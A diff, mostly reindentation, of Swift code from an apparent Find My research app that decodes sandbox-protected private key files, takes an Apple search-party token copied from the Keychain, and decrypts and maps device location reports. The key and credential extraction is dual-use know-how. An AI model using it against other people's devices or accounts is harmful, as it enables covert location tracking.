// SPDX-License-Identifier: AGPL-3.0-only
|
||||||
//
|
//
|
||||||
|
|
||||||
import Foundation
|
|
||||||
import CryptoKit
|
import CryptoKit
|
||||||
|
import Foundation
|
||||||
|
|
||||||
/// Decode key files found in newer macOS versions.
|
/// Decode key files found in newer macOS versions.
|
||||||
class FindMyKeyDecoder {
|
class FindMyKeyDecoder {
|
||||||
/// Key files can be in different format.
|
/// Key files can be in different format.
|
||||||
/// The old <= 10.15.3 have been using normal plists.
|
/// The old <= 10.15.3 have been using normal plists.
|
||||||
/// Newer once use a binary format which needs different parsing
|
/// Newer once use a binary format which needs different parsing
|
||||||
enum KeyFileFormat {
|
enum KeyFileFormat {
|
||||||
// swiftlint:disable identifier_name
|
// swiftlint:disable identifier_name
|
||||||
/// Catalina > 10.15.4 key file format | Big Sur 11.0 Beta 1 uses a similar key
|
/// Catalina > 10.15.4 key file format | Big Sur 11.0 Beta 1 uses a similar key
|
||||||
/// file format that can be parsed identically.
|
/// file format that can be parsed identically.
|
||||||
/// macOS 10.15.7 uses a new key file format that has not been reversed yet.
|
/// macOS 10.15.7 uses a new key file format that has not been reversed yet.
|
||||||
/// (The key files are protected by sandboxing and only usable from a SIP disabled)
|
/// (The key files are protected by sandboxing and only usable from a SIP disabled)
|
||||||
case catalina_10_15_4
|
case catalina_10_15_4
|
||||||
|
}
|
||||||
|
|
||||||
|
var fileFormat: KeyFileFormat?
|
||||||
|
|
||||||
|
func parse(keyFile: Data) throws -> [FindMyKey] {
|
||||||
|
// Detect the format at first
|
||||||
|
if fileFormat == nil {
|
||||||
|
try self.checkFormat(for: keyFile)
|
||||||
|
}
|
||||||
|
guard let format = self.fileFormat else {
|
||||||
|
throw ParsingError.unsupportedFormat
|
||||||
}
|
}
|
||||||
|
|
||||||
var fileFormat: KeyFileFormat?
|
switch format {
|
||||||
|
case .catalina_10_15_4:
|
||||||
|
let keys = try self.parseBinaryKeyFiles(from: keyFile)
|
||||||
|
return keys
|
||||||
|
}
|
||||||
|
}
|
||||||
|
|
||||||
func parse(keyFile: Data) throws -> [FindMyKey] {
|
func checkFormat(for keyFile: Data) throws {
|
||||||
// Detect the format at first
|
// Key files need to start with KEY = 0x4B 45 59
|
||||||
if fileFormat == nil {
|
let magicBytes = keyFile.subdata(in: 0..<3)
|
||||||
try self.checkFormat(for: keyFile)
|
guard magicBytes == Data([0x4b, 0x45, 0x59]) else {
|
||||||
}
|
throw ParsingError.wrongMagicBytes
|
||||||
guard let format = self.fileFormat else {
|
|
||||||
throw ParsingError.unsupportedFormat
|
|
||||||
}
|
|
||||||
|
|
||||||
switch format {
|
|
||||||
case .catalina_10_15_4:
|
|
||||||
let keys = try self.parseBinaryKeyFiles(from: keyFile)
|
|
||||||
return keys
|
|
||||||
}
|
|
||||||
}
|
}
|
||||||
|
|
||||||
func checkFormat(for keyFile: Data) throws {
|
// Detect zeros
|
||||||
// Key files need to start with KEY = 0x4B 45 59
|
let potentialZeros = keyFile[15..<31]
|
||||||
let magicBytes = keyFile.subdata(in: 0..<3)
|
guard potentialZeros == Data(repeating: 0x00, count: 16) else {
|
||||||
guard magicBytes == Data([0x4b, 0x45, 0x59]) else {
|
throw ParsingError.wrongFormat
|
||||||
throw ParsingError.wrongMagicBytes
|
}
|
||||||
}
|
// Should be big sur
|
||||||
|
self.fileFormat = .catalina_10_15_4
|
||||||
|
}
|
||||||
|
|
||||||
// Detect zeros
|
fileprivate func parseBinaryKeyFiles(from keyFile: Data) throws -> [FindMyKey] {
|
||||||
let potentialZeros = keyFile[15..<31]
|
var keys = [FindMyKey]()
|
||||||
guard potentialZeros == Data(repeating: 0x00, count: 16) else {
|
// First key starts at 32
|
||||||
throw ParsingError.wrongFormat
|
var i = 32
|
||||||
}
|
|
||||||
// Should be big sur
|
while i + 117 < keyFile.count {
|
||||||
self.fileFormat = .catalina_10_15_4
|
// We could not identify what those keys were
|
||||||
|
_ = keyFile.subdata(in: i..<i + 32)
|
||||||
|
i += 32
|
||||||
|
if keyFile[i] == 0x00 {
|
||||||
|
// Public key only.
|
||||||
|
// No need to parse it. Just skip to the next key
|
||||||
|
i += 86
|
||||||
|
continue
|
||||||
|
}
|
||||||
|
|
||||||
|
guard keyFile[i] == 0x01 else {
|
||||||
|
throw ParsingError.wrongFormat
|
||||||
|
}
|
||||||
|
// Step over 0x01
|
||||||
|
i += 1
|
||||||
|
// Read the key (starting with 0x04)
|
||||||
|
let fullKey = keyFile.subdata(in: i..<i + 85)
|
||||||
|
i += 85
|
||||||
|
// Create the sub keys. No actual need,
|
||||||
|
// but we do that to put them into a similar format as used before 10.15.4
|
||||||
|
|
||||||
|
let advertisedKey = fullKey.subdata(in: 1..<29)
|
||||||
|
let yCoordinate = fullKey.subdata(in: 29..<57)
|
||||||
|
|
||||||
|
var shaDigest = SHA256()
|
||||||
|
shaDigest.update(data: advertisedKey)
|
||||||
|
let hashedKey = Data(shaDigest.finalize())
|
||||||
|
|
||||||
|
let fmKey = FindMyKey(
|
||||||
|
advertisedKey: advertisedKey,
|
||||||
|
hashedKey: hashedKey,
|
||||||
|
privateKey: fullKey,
|
||||||
|
startTime: nil,
|
||||||
|
duration: nil,
|
||||||
|
pu: nil,
|
||||||
|
yCoordinate: yCoordinate,
|
||||||
|
fullKey: fullKey)
|
||||||
|
|
||||||
|
keys.append(fmKey)
|
||||||
}
|
}
|
||||||
|
|
||||||
fileprivate func parseBinaryKeyFiles(from keyFile: Data) throws -> [FindMyKey] {
|
return keys
|
||||||
var keys = [FindMyKey]()
|
}
|
||||||
// First key starts at 32
|
|
||||||
var i = 32
|
|
||||||
|
|
||||||
while i + 117 < keyFile.count {
|
enum ParsingError: Error {
|
||||||
// We could not identify what those keys were
|
case wrongMagicBytes
|
||||||
_ = keyFile.subdata(in: i..<i+32)
|
case wrongFormat
|
||||||
i += 32
|
case unsupportedFormat
|
||||||
if keyFile[i] == 0x00 {
|
}
|
||||||
// Public key only.
|
|
||||||
// No need to parse it. Just skip to the next key
|
|
||||||
i += 86
|
|
||||||
continue
|
|
||||||
}
|
|
||||||
|
|
||||||
guard keyFile[i] == 0x01 else {
|
|
||||||
throw ParsingError.wrongFormat
|
|
||||||
}
|
|
||||||
// Step over 0x01
|
|
||||||
i+=1
|
|
||||||
// Read the key (starting with 0x04)
|
|
||||||
let fullKey = keyFile.subdata(in: i..<i+85)
|
|
||||||
i += 85
|
|
||||||
// Create the sub keys. No actual need,
|
|
||||||
// but we do that to put them into a similar format as used before 10.15.4
|
|
||||||
|
|
||||||
let advertisedKey = fullKey.subdata(in: 1..<29)
|
|
||||||
let yCoordinate = fullKey.subdata(in: 29..<57)
|
|
||||||
|
|
||||||
var shaDigest = SHA256()
|
|
||||||
shaDigest.update(data: advertisedKey)
|
|
||||||
let hashedKey = Data(shaDigest.finalize())
|
|
||||||
|
|
||||||
let fmKey = FindMyKey(advertisedKey: advertisedKey,
|
|
||||||
hashedKey: hashedKey,
|
|
||||||
privateKey: fullKey,
|
|
||||||
startTime: nil,
|
|
||||||
duration: nil,
|
|
||||||
pu: nil,
|
|
||||||
yCoordinate: yCoordinate,
|
|
||||||
fullKey: fullKey)
|
|
||||||
|
|
||||||
keys.append(fmKey)
|
|
||||||
}
|
|
||||||
|
|
||||||
return keys
|
|
||||||
}
|
|
||||||
|
|
||||||
enum ParsingError: Error {
|
|
||||||
case wrongMagicBytes
|
|
||||||
case wrongFormat
|
|
||||||
case unsupportedFormat
|
|
||||||
}
|
|
||||||
}
|
}
|
||||||
|
|||||||
@@ -9,191 +9,195 @@
|
|||||||
|
|
||||||
// swiftlint:disable identifier_name
|
// swiftlint:disable identifier_name
|
||||||
|
|
||||||
import Foundation
|
|
||||||
import CoreLocation
|
import CoreLocation
|
||||||
|
import Foundation
|
||||||
|
|
||||||
struct FindMyDevice: Codable, Hashable {
|
struct FindMyDevice: Codable, Hashable {
|
||||||
|
|
||||||
let deviceId: String
|
let deviceId: String
|
||||||
var keys = [FindMyKey]()
|
var keys = [FindMyKey]()
|
||||||
|
|
||||||
var catalinaBigSurKeyFiles: [Data]?
|
var catalinaBigSurKeyFiles: [Data]?
|
||||||
|
|
||||||
/// KeyHash: Report results
|
/// KeyHash: Report results
|
||||||
var reports: [FindMyReport]?
|
var reports: [FindMyReport]?
|
||||||
|
|
||||||
var decryptedReports: [FindMyLocationReport]?
|
var decryptedReports: [FindMyLocationReport]?
|
||||||
|
|
||||||
func hash(into hasher: inout Hasher) {
|
func hash(into hasher: inout Hasher) {
|
||||||
hasher.combine(deviceId)
|
hasher.combine(deviceId)
|
||||||
}
|
}
|
||||||
|
|
||||||
static func == (lhs: FindMyDevice, rhs: FindMyDevice) -> Bool {
|
static func == (lhs: FindMyDevice, rhs: FindMyDevice) -> Bool {
|
||||||
lhs.deviceId == rhs.deviceId
|
lhs.deviceId == rhs.deviceId
|
||||||
}
|
}
|
||||||
}
|
}
|
||||||
|
|
||||||
struct FindMyKey: Codable {
|
struct FindMyKey: Codable {
|
||||||
internal init(advertisedKey: Data, hashedKey: Data, privateKey: Data, startTime: Date?, duration: Double?, pu: Data?, yCoordinate: Data?, fullKey: Data?) {
|
internal init(
|
||||||
self.advertisedKey = advertisedKey
|
advertisedKey: Data, hashedKey: Data, privateKey: Data, startTime: Date?, duration: Double?,
|
||||||
self.hashedKey = hashedKey
|
pu: Data?, yCoordinate: Data?, fullKey: Data?
|
||||||
// The private key should only be 28 bytes long. If a 85 bytes full private public key is entered we truncate it here
|
) {
|
||||||
if privateKey.count == 85 {
|
self.advertisedKey = advertisedKey
|
||||||
self.privateKey = privateKey.subdata(in: 57..<privateKey.endIndex)
|
self.hashedKey = hashedKey
|
||||||
} else {
|
// The private key should only be 28 bytes long. If a 85 bytes full private public key is entered we truncate it here
|
||||||
self.privateKey = privateKey
|
if privateKey.count == 85 {
|
||||||
}
|
self.privateKey = privateKey.subdata(in: 57..<privateKey.endIndex)
|
||||||
|
} else {
|
||||||
self.startTime = startTime
|
self.privateKey = privateKey
|
||||||
self.duration = duration
|
|
||||||
self.pu = pu
|
|
||||||
self.yCoordinate = yCoordinate
|
|
||||||
self.fullKey = fullKey
|
|
||||||
}
|
}
|
||||||
|
|
||||||
init(from decoder: Decoder) throws {
|
self.startTime = startTime
|
||||||
let container = try decoder.container(keyedBy: CodingKeys.self)
|
self.duration = duration
|
||||||
self.advertisedKey = try container.decode(Data.self, forKey: .advertisedKey)
|
self.pu = pu
|
||||||
self.hashedKey = try container.decode(Data.self, forKey: .hashedKey)
|
self.yCoordinate = yCoordinate
|
||||||
let privateKey = try container.decode(Data.self, forKey: .privateKey)
|
self.fullKey = fullKey
|
||||||
if privateKey.count == 85 {
|
}
|
||||||
self.privateKey = privateKey.subdata(in: 57..<privateKey.endIndex)
|
|
||||||
} else {
|
|
||||||
self.privateKey = privateKey
|
|
||||||
}
|
|
||||||
|
|
||||||
self.startTime = try? container.decode(Date.self, forKey: .startTime)
|
init(from decoder: Decoder) throws {
|
||||||
self.duration = try? container.decode(Double.self, forKey: .duration)
|
let container = try decoder.container(keyedBy: CodingKeys.self)
|
||||||
self.pu = try? container.decode(Data.self, forKey: .pu)
|
self.advertisedKey = try container.decode(Data.self, forKey: .advertisedKey)
|
||||||
self.yCoordinate = try? container.decode(Data.self, forKey: .yCoordinate)
|
self.hashedKey = try container.decode(Data.self, forKey: .hashedKey)
|
||||||
self.fullKey = try? container.decode(Data.self, forKey: .fullKey)
|
let privateKey = try container.decode(Data.self, forKey: .privateKey)
|
||||||
|
if privateKey.count == 85 {
|
||||||
|
self.privateKey = privateKey.subdata(in: 57..<privateKey.endIndex)
|
||||||
|
} else {
|
||||||
|
self.privateKey = privateKey
|
||||||
}
|
}
|
||||||
|
|
||||||
/// The advertising key
|
self.startTime = try? container.decode(Date.self, forKey: .startTime)
|
||||||
let advertisedKey: Data
|
self.duration = try? container.decode(Double.self, forKey: .duration)
|
||||||
/// Hashed advertisement key using SHA256
|
self.pu = try? container.decode(Data.self, forKey: .pu)
|
||||||
let hashedKey: Data
|
self.yCoordinate = try? container.decode(Data.self, forKey: .yCoordinate)
|
||||||
/// The private key from which the advertisement keys can be derived
|
self.fullKey = try? container.decode(Data.self, forKey: .fullKey)
|
||||||
let privateKey: Data
|
}
|
||||||
/// When this key was used to send out BLE advertisements
|
|
||||||
let startTime: Date?
|
|
||||||
/// Duration from start time how long the key has been used to send out BLE advertisements
|
|
||||||
let duration: Double?
|
|
||||||
/// ?
|
|
||||||
let pu: Data?
|
|
||||||
|
|
||||||
/// As exported from Big Sur
|
/// The advertising key
|
||||||
let yCoordinate: Data?
|
let advertisedKey: Data
|
||||||
/// As exported from BigSur
|
/// Hashed advertisement key using SHA256
|
||||||
let fullKey: Data?
|
let hashedKey: Data
|
||||||
|
/// The private key from which the advertisement keys can be derived
|
||||||
|
let privateKey: Data
|
||||||
|
/// When this key was used to send out BLE advertisements
|
||||||
|
let startTime: Date?
|
||||||
|
/// Duration from start time how long the key has been used to send out BLE advertisements
|
||||||
|
let duration: Double?
|
||||||
|
/// ?
|
||||||
|
let pu: Data?
|
||||||
|
|
||||||
|
/// As exported from Big Sur
|
||||||
|
let yCoordinate: Data?
|
||||||
|
/// As exported from BigSur
|
||||||
|
let fullKey: Data?
|
||||||
}
|
}
|
||||||
|
|
||||||
struct FindMyReportResults: Codable {
|
struct FindMyReportResults: Codable {
|
||||||
let results: [FindMyReport]
|
let results: [FindMyReport]
|
||||||
}
|
}
|
||||||
|
|
||||||
struct FindMyReport: Codable {
|
struct FindMyReport: Codable {
|
||||||
let datePublished: Date
|
let datePublished: Date
|
||||||
let payload: Data
|
let payload: Data
|
||||||
let id: String
|
let id: String
|
||||||
let statusCode: Int
|
let statusCode: Int
|
||||||
|
|
||||||
let confidence: UInt8
|
let confidence: UInt8
|
||||||
let timestamp: Date
|
let timestamp: Date
|
||||||
|
|
||||||
enum CodingKeys: CodingKey {
|
enum CodingKeys: CodingKey {
|
||||||
case datePublished
|
case datePublished
|
||||||
case payload
|
case payload
|
||||||
case id
|
case id
|
||||||
case statusCode
|
case statusCode
|
||||||
|
}
|
||||||
|
|
||||||
|
init(from decoder: Decoder) throws {
|
||||||
|
let values = try decoder.container(keyedBy: CodingKeys.self)
|
||||||
|
let dateTimestamp = try values.decode(Double.self, forKey: .datePublished)
|
||||||
|
// Convert from milis to time interval
|
||||||
|
let dP = Date(timeIntervalSince1970: dateTimestamp / 1000)
|
||||||
|
let df = DateFormatter()
|
||||||
|
df.dateFormat = "YYYY-MM-dd"
|
||||||
|
|
||||||
|
if dP < df.date(from: "2020-01-01")! {
|
||||||
|
self.datePublished = Date(timeIntervalSince1970: dateTimestamp)
|
||||||
|
} else {
|
||||||
|
self.datePublished = dP
|
||||||
}
|
}
|
||||||
|
|
||||||
init(from decoder: Decoder) throws {
|
self.statusCode = try values.decode(Int.self, forKey: .statusCode)
|
||||||
let values = try decoder.container(keyedBy: CodingKeys.self)
|
let payloadBase64 = try values.decode(String.self, forKey: .payload)
|
||||||
let dateTimestamp = try values.decode(Double.self, forKey: .datePublished)
|
|
||||||
// Convert from milis to time interval
|
|
||||||
let dP = Date(timeIntervalSince1970: dateTimestamp/1000)
|
|
||||||
let df = DateFormatter()
|
|
||||||
df.dateFormat = "YYYY-MM-dd"
|
|
||||||
|
|
||||||
if dP < df.date(from: "2020-01-01")! {
|
guard let payload = Data(base64Encoded: payloadBase64) else {
|
||||||
self.datePublished = Date(timeIntervalSince1970: dateTimestamp)
|
throw DecodingError.dataCorruptedError(
|
||||||
} else {
|
forKey: CodingKeys.payload, in: values, debugDescription: "")
|
||||||
self.datePublished = dP
|
}
|
||||||
}
|
self.payload = payload
|
||||||
|
|
||||||
self.statusCode = try values.decode(Int.self, forKey: .statusCode)
|
var timestampData = payload.subdata(in: 0..<4)
|
||||||
let payloadBase64 = try values.decode(String.self, forKey: .payload)
|
let timestamp: Int32 = withUnsafeBytes(of: ×tampData) { (pointer) -> Int32 in
|
||||||
|
// Convert the endianness
|
||||||
guard let payload = Data(base64Encoded: payloadBase64) else {
|
pointer.load(as: Int32.self).bigEndian
|
||||||
throw DecodingError.dataCorruptedError(forKey: CodingKeys.payload, in: values, debugDescription: "")
|
|
||||||
}
|
|
||||||
self.payload = payload
|
|
||||||
|
|
||||||
var timestampData = payload.subdata(in: 0..<4)
|
|
||||||
let timestamp: Int32 = withUnsafeBytes(of: ×tampData) { (pointer) -> Int32 in
|
|
||||||
// Convert the endianness
|
|
||||||
pointer.load(as: Int32.self).bigEndian
|
|
||||||
}
|
|
||||||
|
|
||||||
// It's a cocoa time stamp (counting from 2001)
|
|
||||||
self.timestamp = Date(timeIntervalSinceReferenceDate: TimeInterval(timestamp))
|
|
||||||
self.confidence = payload[4]
|
|
||||||
|
|
||||||
self.id = try values.decode(String.self, forKey: .id)
|
|
||||||
}
|
}
|
||||||
|
|
||||||
func encode(to encoder: Encoder) throws {
|
// It's a cocoa time stamp (counting from 2001)
|
||||||
var container = encoder.container(keyedBy: CodingKeys.self)
|
self.timestamp = Date(timeIntervalSinceReferenceDate: TimeInterval(timestamp))
|
||||||
try container.encode(self.datePublished.timeIntervalSince1970 * 1000, forKey: .datePublished)
|
self.confidence = payload[4]
|
||||||
try container.encode(self.payload.base64EncodedString(), forKey: .payload)
|
|
||||||
try container.encode(self.id, forKey: .id)
|
self.id = try values.decode(String.self, forKey: .id)
|
||||||
try container.encode(self.statusCode, forKey: .statusCode)
|
}
|
||||||
}
|
|
||||||
|
func encode(to encoder: Encoder) throws {
|
||||||
|
var container = encoder.container(keyedBy: CodingKeys.self)
|
||||||
|
try container.encode(self.datePublished.timeIntervalSince1970 * 1000, forKey: .datePublished)
|
||||||
|
try container.encode(self.payload.base64EncodedString(), forKey: .payload)
|
||||||
|
try container.encode(self.id, forKey: .id)
|
||||||
|
try container.encode(self.statusCode, forKey: .statusCode)
|
||||||
|
}
|
||||||
}
|
}
|
||||||
|
|
||||||
struct FindMyLocationReport: Codable {
|
struct FindMyLocationReport: Codable {
|
||||||
let latitude: Double
|
let latitude: Double
|
||||||
let longitude: Double
|
let longitude: Double
|
||||||
let accuracy: UInt8
|
let accuracy: UInt8
|
||||||
let datePublished: Date
|
let datePublished: Date
|
||||||
let timestamp: Date?
|
let timestamp: Date?
|
||||||
let confidence: UInt8?
|
let confidence: UInt8?
|
||||||
|
|
||||||
var location: CLLocation {
|
var location: CLLocation {
|
||||||
return CLLocation(latitude: latitude, longitude: longitude)
|
return CLLocation(latitude: latitude, longitude: longitude)
|
||||||
|
}
|
||||||
|
|
||||||
|
init(lat: Double, lng: Double, acc: UInt8, dP: Date, t: Date, c: UInt8) {
|
||||||
|
self.latitude = lat
|
||||||
|
self.longitude = lng
|
||||||
|
self.accuracy = acc
|
||||||
|
self.datePublished = dP
|
||||||
|
self.timestamp = t
|
||||||
|
self.confidence = c
|
||||||
|
}
|
||||||
|
|
||||||
|
init(from decoder: Decoder) throws {
|
||||||
|
let values = try decoder.container(keyedBy: CodingKeys.self)
|
||||||
|
|
||||||
|
self.latitude = try values.decode(Double.self, forKey: .latitude)
|
||||||
|
self.longitude = try values.decode(Double.self, forKey: .longitude)
|
||||||
|
|
||||||
|
do {
|
||||||
|
let uAcc = try values.decode(UInt8.self, forKey: .accuracy)
|
||||||
|
self.accuracy = uAcc
|
||||||
|
} catch {
|
||||||
|
let iAcc = try values.decode(Int8.self, forKey: .accuracy)
|
||||||
|
self.accuracy = UInt8(bitPattern: iAcc)
|
||||||
}
|
}
|
||||||
|
|
||||||
init(lat: Double, lng: Double, acc: UInt8, dP: Date, t: Date, c: UInt8) {
|
self.datePublished = try values.decode(Date.self, forKey: .datePublished)
|
||||||
self.latitude = lat
|
self.timestamp = try? values.decode(Date.self, forKey: .timestamp)
|
||||||
self.longitude = lng
|
self.confidence = try? values.decode(UInt8.self, forKey: .confidence)
|
||||||
self.accuracy = acc
|
}
|
||||||
self.datePublished = dP
|
|
||||||
self.timestamp = t
|
|
||||||
self.confidence = c
|
|
||||||
}
|
|
||||||
|
|
||||||
init(from decoder: Decoder) throws {
|
|
||||||
let values = try decoder.container(keyedBy: CodingKeys.self)
|
|
||||||
|
|
||||||
self.latitude = try values.decode(Double.self, forKey: .latitude)
|
|
||||||
self.longitude = try values.decode(Double.self, forKey: .longitude)
|
|
||||||
|
|
||||||
do {
|
|
||||||
let uAcc = try values.decode(UInt8.self, forKey: .accuracy)
|
|
||||||
self.accuracy = uAcc
|
|
||||||
} catch {
|
|
||||||
let iAcc = try values.decode(Int8.self, forKey: .accuracy)
|
|
||||||
self.accuracy = UInt8(bitPattern: iAcc)
|
|
||||||
}
|
|
||||||
|
|
||||||
self.datePublished = try values.decode(Date.self, forKey: .datePublished)
|
|
||||||
self.timestamp = try? values.decode(Date.self, forKey: .timestamp)
|
|
||||||
self.confidence = try? values.decode(UInt8.self, forKey: .confidence)
|
|
||||||
}
|
|
||||||
|
|
||||||
}
|
}
|
||||||
|
|
||||||
enum FindMyError: Error {
|
enum FindMyError: Error {
|
||||||
case decryptionError(description: String)
|
case decryptionError(description: String)
|
||||||
}
|
}
|
||||||
|
|||||||
@@ -7,19 +7,19 @@
|
|||||||
// SPDX-License-Identifier: AGPL-3.0-only
|
// SPDX-License-Identifier: AGPL-3.0-only
|
||||||
//
|
//
|
||||||
|
|
||||||
import SwiftUI
|
|
||||||
import Cocoa
|
import Cocoa
|
||||||
import MapKit
|
import MapKit
|
||||||
|
import SwiftUI
|
||||||
|
|
||||||
struct MapView: NSViewControllerRepresentable {
|
struct MapView: NSViewControllerRepresentable {
|
||||||
@Environment(\.findMyController) var findMyController
|
@Environment(\.findMyController) var findMyController
|
||||||
|
|
||||||
func makeNSViewController(context: Context) -> MapViewController {
|
func makeNSViewController(context: Context) -> MapViewController {
|
||||||
return MapViewController(nibName: NSNib.Name("MapViewController"), bundle: nil)
|
return MapViewController(nibName: NSNib.Name("MapViewController"), bundle: nil)
|
||||||
}
|
}
|
||||||
|
|
||||||
func updateNSViewController(_ nsViewController: MapViewController, context: Context) {
|
func updateNSViewController(_ nsViewController: MapViewController, context: Context) {
|
||||||
nsViewController.addLocationsReports(from: findMyController.devices)
|
nsViewController.addLocationsReports(from: findMyController.devices)
|
||||||
}
|
}
|
||||||
|
|
||||||
}
|
}
|
||||||
|
|||||||
@@ -11,43 +11,45 @@ import Cocoa
|
|||||||
import MapKit
|
import MapKit
|
||||||
|
|
||||||
final class MapViewController: NSViewController, MKMapViewDelegate {
|
final class MapViewController: NSViewController, MKMapViewDelegate {
|
||||||
@IBOutlet weak var mapView: MKMapView!
|
@IBOutlet weak var mapView: MKMapView!
|
||||||
var pinsShown = false
|
var pinsShown = false
|
||||||
|
|
||||||
override func viewDidLoad() {
|
override func viewDidLoad() {
|
||||||
super.viewDidLoad()
|
super.viewDidLoad()
|
||||||
self.mapView.delegate = self
|
self.mapView.delegate = self
|
||||||
|
}
|
||||||
|
|
||||||
|
func addLocationsReports(from devices: [FindMyDevice]) {
|
||||||
|
if !self.mapView.annotations.isEmpty {
|
||||||
|
self.mapView.removeAnnotations(self.mapView.annotations)
|
||||||
}
|
}
|
||||||
|
|
||||||
func addLocationsReports(from devices: [FindMyDevice]) {
|
// Zoom to first location
|
||||||
if !self.mapView.annotations.isEmpty {
|
if let location = devices.first?.decryptedReports?.first {
|
||||||
self.mapView.removeAnnotations(self.mapView.annotations)
|
let coordinate = CLLocationCoordinate2D(
|
||||||
}
|
latitude: location.latitude, longitude: location.longitude)
|
||||||
|
let span = MKCoordinateSpan(latitudeDelta: 5.0, longitudeDelta: 5.0)
|
||||||
// Zoom to first location
|
let region = MKCoordinateRegion(center: coordinate, span: span)
|
||||||
if let location = devices.first?.decryptedReports?.first {
|
|
||||||
let coordinate = CLLocationCoordinate2D(latitude: location.latitude, longitude: location.longitude)
|
|
||||||
let span = MKCoordinateSpan(latitudeDelta: 5.0, longitudeDelta: 5.0)
|
|
||||||
let region = MKCoordinateRegion(center: coordinate, span: span)
|
|
||||||
|
|
||||||
self.mapView.setRegion(region, animated: true)
|
|
||||||
}
|
|
||||||
|
|
||||||
// Add pins
|
|
||||||
for device in devices {
|
|
||||||
|
|
||||||
guard let reports = device.decryptedReports else {continue}
|
|
||||||
for report in reports {
|
|
||||||
let pin = MKPointAnnotation()
|
|
||||||
pin.title = device.deviceId
|
|
||||||
pin.coordinate = CLLocationCoordinate2D(latitude: report.latitude, longitude: report.longitude)
|
|
||||||
self.mapView.addAnnotation(pin)
|
|
||||||
}
|
|
||||||
}
|
|
||||||
|
|
||||||
|
self.mapView.setRegion(region, animated: true)
|
||||||
}
|
}
|
||||||
|
|
||||||
func changeMapType(_ mapType: MKMapType) {
|
// Add pins
|
||||||
self.mapView.mapType = mapType
|
for device in devices {
|
||||||
|
|
||||||
|
guard let reports = device.decryptedReports else { continue }
|
||||||
|
for report in reports {
|
||||||
|
let pin = MKPointAnnotation()
|
||||||
|
pin.title = device.deviceId
|
||||||
|
pin.coordinate = CLLocationCoordinate2D(
|
||||||
|
latitude: report.latitude, longitude: report.longitude)
|
||||||
|
self.mapView.addAnnotation(pin)
|
||||||
|
}
|
||||||
}
|
}
|
||||||
|
|
||||||
|
}
|
||||||
|
|
||||||
|
func changeMapType(_ mapType: MKMapType) {
|
||||||
|
self.mapView.mapType = mapType
|
||||||
|
}
|
||||||
}
|
}
|
||||||
|
|||||||
@@ -11,188 +11,200 @@ import SwiftUI
|
|||||||
|
|
||||||
struct OFFetchReportsMainView: View {
|
struct OFFetchReportsMainView: View {
|
||||||
|
|
||||||
@Environment(\.findMyController) var findMyController
|
@Environment(\.findMyController) var findMyController
|
||||||
|
|
||||||
@State var targetedDrop: Bool = false
|
@State var targetedDrop: Bool = false
|
||||||
@State var error: Error?
|
@State var error: Error?
|
||||||
@State var showMap = false
|
@State var showMap = false
|
||||||
@State var loading = false
|
@State var loading = false
|
||||||
|
|
||||||
@State var searchPartyToken: Data?
|
@State var searchPartyToken: Data?
|
||||||
@State var searchPartyTokenString: String = ""
|
@State var searchPartyTokenString: String = ""
|
||||||
@State var keyPlistFile: Data?
|
@State var keyPlistFile: Data?
|
||||||
|
|
||||||
@State var showTokenPrompt = false
|
@State var showTokenPrompt = false
|
||||||
|
|
||||||
var dropView: some View {
|
var dropView: some View {
|
||||||
ZStack(alignment: .center) {
|
ZStack(alignment: .center) {
|
||||||
HStack {
|
HStack {
|
||||||
Spacer()
|
Spacer()
|
||||||
Spacer()
|
Spacer()
|
||||||
}
|
}
|
||||||
|
|
||||||
VStack {
|
VStack {
|
||||||
Spacer()
|
Spacer()
|
||||||
Text("Drop exported keys here")
|
Text("Drop exported keys here")
|
||||||
.font(Font.system(size: 44, weight: .bold, design: .default))
|
.font(Font.system(size: 44, weight: .bold, design: .default))
|
||||||
.padding()
|
.padding()
|
||||||
|
|
||||||
Text("The keys can be exported into the right format using the Read FindMy Keys App.")
|
Text("The keys can be exported into the right format using the Read FindMy Keys App.")
|
||||||
.font(.body)
|
.font(.body)
|
||||||
.multilineTextAlignment(.center)
|
.multilineTextAlignment(.center)
|
||||||
.padding()
|
.padding()
|
||||||
|
|
||||||
Spacer()
|
Spacer()
|
||||||
}
|
}
|
||||||
}
|
}
|
||||||
.background(
|
.background(
|
||||||
RoundedRectangle(cornerRadius: 20.0)
|
RoundedRectangle(cornerRadius: 20.0)
|
||||||
.stroke(Color.gray, style: StrokeStyle(lineWidth: 5.0, lineCap: .round, lineJoin: .round, miterLimit: 10, dash: [15]))
|
.stroke(
|
||||||
)
|
Color.gray,
|
||||||
|
style: StrokeStyle(
|
||||||
|
lineWidth: 5.0, lineCap: .round, lineJoin: .round, miterLimit: 10, dash: [15]))
|
||||||
|
)
|
||||||
|
.padding()
|
||||||
|
.onDrop(of: ["public.file-url"], isTargeted: self.$targetedDrop) { (droppedData) -> Bool in
|
||||||
|
return self.droppedData(data: droppedData)
|
||||||
|
}
|
||||||
|
|
||||||
|
}
|
||||||
|
|
||||||
|
var loadingView: some View {
|
||||||
|
VStack {
|
||||||
|
Text("Downloading locations and decrypting...")
|
||||||
|
.font(Font.system(size: 44, weight: .bold, design: .default))
|
||||||
.padding()
|
.padding()
|
||||||
.onDrop(of: ["public.file-url"], isTargeted: self.$targetedDrop) { (droppedData) -> Bool in
|
|
||||||
return self.droppedData(data: droppedData)
|
|
||||||
}
|
|
||||||
|
|
||||||
}
|
}
|
||||||
|
}
|
||||||
|
|
||||||
var loadingView: some View {
|
/// This view is shown if the search party token cannot be accessed from keychain
|
||||||
VStack {
|
var missingSearchPartyTokenView: some View {
|
||||||
Text("Downloading locations and decrypting...")
|
VStack {
|
||||||
.font(Font.system(size: 44, weight: .bold, design: .default))
|
Text("Search Party token could not be fetched")
|
||||||
.padding()
|
Text("Please paste the search party token below after copying it from the macOS Keychain.")
|
||||||
}
|
Text("The item that contains the key can be found by searching for: ")
|
||||||
}
|
Text("com.apple.account.DeviceLocator.search-party-token")
|
||||||
|
.font(.system(Font.TextStyle.body, design: Font.Design.monospaced))
|
||||||
|
|
||||||
/// This view is shown if the search party token cannot be accessed from keychain
|
TextField("Search Party Token", text: self.$searchPartyTokenString)
|
||||||
var missingSearchPartyTokenView: some View {
|
|
||||||
VStack {
|
|
||||||
Text("Search Party token could not be fetched")
|
|
||||||
Text("Please paste the search party token below after copying it from the macOS Keychain.")
|
|
||||||
Text("The item that contains the key can be found by searching for: ")
|
|
||||||
Text("com.apple.account.DeviceLocator.search-party-token")
|
|
||||||
.font(.system(Font.TextStyle.body, design: Font.Design.monospaced))
|
|
||||||
|
|
||||||
TextField("Search Party Token", text: self.$searchPartyTokenString)
|
|
||||||
|
|
||||||
Button(action: {
|
|
||||||
